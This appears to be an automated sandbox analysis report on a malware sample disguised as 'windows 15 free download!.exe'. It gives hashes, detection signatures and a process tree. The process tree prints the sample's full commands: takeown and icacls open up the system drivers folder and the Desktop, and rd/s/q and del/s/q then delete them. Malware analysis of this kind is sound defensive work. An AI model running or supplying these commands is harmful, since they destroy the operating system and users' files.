Analysis
- max time kernel
95s - max time network
96s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system - submitted
03/08/2024, 12:07
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
windows 15 free download!.exe
Resource
win7-20240705-en
windows7-x64
6 signatures
150 seconds
General
- Target windows 15 free download!.exe
- Size 2.0MB
- Sample240803-pad1ssxdmb
- SHA256 76da19f8fdca22946da2d558d9656458a80cf8cdd52e5cfd27991772044bd7fd
- MD5 71d9e3c6e8a2862a173ff6361613f32b
- SHA1 3f89597803643d985d3a08a96a232ffc12eb63f2
- SHA512 ecff31010877b8c4df2cd375b68082012979608c64ef59b7db43cd378c5321d16016895239a8b98de1118cc758de5976f83c87b4e065aca0be9d5adaf55f803c
- SSDEEP 24576:nzQXipLJAJViNRnbURt73SCYb0EPcYDXT:zQXibAJViNRbURJsYCT
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Drops file in Drivers directory 64 IoCs
description ioc Process File opened for modification \??\c:\windows\system32\drivers\storqosflt.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\UMDF\en-US\wpdmtpdr.dll.mui cmd.exe File opened for modification \??\c:\windows\system32\drivers\usbhub.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\afunix.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\bam.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\hidclass.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\ksthunk.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\PEAuth.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\UMDF\en-US\SensorsHid.dll.mui cmd.exe File opened for modification \??\c:\windows\system32\drivers\Vid.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\winhvr.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\cimfs.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\lltdio.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\mrxsmb20.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\srvnet.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\tcpipreg.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\vhdmp.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\cdrom.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\mrxsmb.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\mssmbios.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\netbt.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\usbport.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\UMDF\en-US\SensorsCx.dll.mui cmd.exe File opened for modification \??\c:\windows\system32\drivers\crashdmp.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\http.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\null.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\portcls.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\rdbss.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\UMDF\en-US\IddCx.dll.mui cmd.exe File opened for modification \??\c:\windows\system32\drivers\mouclass.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\NdisVirtualBus.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\ahcache.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\dfsc.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\dumpfve.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\HdAudio.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\hidparse.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\monitor.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\nsiproxy.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\UMDF\en-US\WUDFUsbccidDriver.dll.mui cmd.exe File opened for modification \??\c:\windows\system32\drivers\hidusb.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\srv2.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\tdi.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\usbd.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\usbehci.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\vwififlt.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\csc.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\kbdclass.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\npfs.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\watchdog.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\ks.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\UMDF\en-US\UsbccidDriver.dll.mui cmd.exe File opened for modification \??\c:\windows\system32\drivers\wcifs.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\amdppm.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\cldflt.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\drmk.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\dxgkrnl.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\gpuenergydrv.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\filecrypt.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\netbios.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\bindflt.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\bowser.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\condrv.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\fsdepends.sys cmd.exe File opened for modification \??\c:\windows\system32\drivers\RB8CTE~1.SYS cmd.exe - Possible privilege escalation attempt 4 IoCs
pid Process 4156 takeown.exe 856 icacls.exe 4708 takeown.exe 4980 icacls.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation windows 15 free download!.exe - Modifies file permissions 1 TTPs 4 IoCs
pid Process 4708 takeown.exe 4980 icacls.exe 4156 takeown.exe 856 icacls.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeTakeOwnershipPrivilege 4156 takeown.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 4244 wrote to memory of 2140 4244 windows 15 free download!.exe 86 PID 4244 wrote to memory of 2140 4244 windows 15 free download!.exe 86 PID 2140 wrote to memory of 4156 2140 cmd.exe 88 PID 2140 wrote to memory of 4156 2140 cmd.exe 88 PID 2140 wrote to memory of 856 2140 cmd.exe 89 PID 2140 wrote to memory of 856 2140 cmd.exe 89 PID 4244 wrote to memory of 1780 4244 windows 15 free download!.exe 90 PID 4244 wrote to memory of 1780 4244 windows 15 free download!.exe 90 PID 4244 wrote to memory of 992 4244 windows 15 free download!.exe 91 PID 4244 wrote to memory of 992 4244 windows 15 free download!.exe 91 PID 992 wrote to memory of 4708 992 cmd.exe 94 PID 992 wrote to memory of 4708 992 cmd.exe 94 PID 992 wrote to memory of 4980 992 cmd.exe 95 PID 992 wrote to memory of 4980 992 cmd.exe 95
Processes
-
C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe"C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4244 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\drivers\* && icacls c:\windows\system32\drivers\* /grant Everyone:(F) && rd/s/q c:\windows\system32\drivers && exit2⤵
- Drops file in Drivers directory
- Suspicious use of WriteProcessMemory
PID:2140 -
C:\Windows\system32\takeown.exetakeown /f c:\windows\system32\drivers\*3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4156
-
-
C:\Windows\system32\icacls.exeicacls c:\windows\system32\drivers\* /grant Everyone:(F)3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:856
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k move "C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe" "emp\windows 15 free download!.exe" && exit2⤵PID:1780
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k takeown /f "C:\Users\Admin\Desktop"\* && icacls "C:\Users\Admin\Desktop"\* /grant Everyone:(F) && del/s/q "C:\Users\Admin\Desktop"\* && exit2⤵
- Suspicious use of WriteProcessMemory
PID:992 -
C:\Windows\system32\takeown.exetakeown /f "C:\Users\Admin\Desktop"\*3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4708
-
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\Desktop"\* /grant Everyone:(F)3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4980
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
DesktoppevQgxiEpjSrDZjAzUJlLchhBfQmKiMwzoBiWybxDUUnFSkSrsrtEKmqDCyZjEeUHMsrQCOZijIPfioNeedDpSZrNAvYmmTAtBDZ
- Path C:\Users\Admin\DesktoppevQgxiEpjSrDZjAzUJlLchhBfQmKiMwzoBiWybxDUUnFSkSrsrtEKmqDCyZjEeUHMsrQCOZijIPfioNeedDpSZrNAvYmmTAtBDZ
- Size 33B
- SHA256 035d41e45719293bb97c9e824c40a43191465ca49f2f81669c662dddd8fcfb36
- MD5 7eca8ff8fc41366b7fcf2f9ee5f362a8
- SHA1 0f748fd5520a7b0025266ad405efbc81d68aef43
- SHA512 2b021f638fdc871460000d6bf89120c16cb600c2175a0416e275b294354c99a10ac37d36e1e70ccd93839f0693febec11d39288ebba63019f4b6279f93789f9f
- MD5 SHA1 SHA512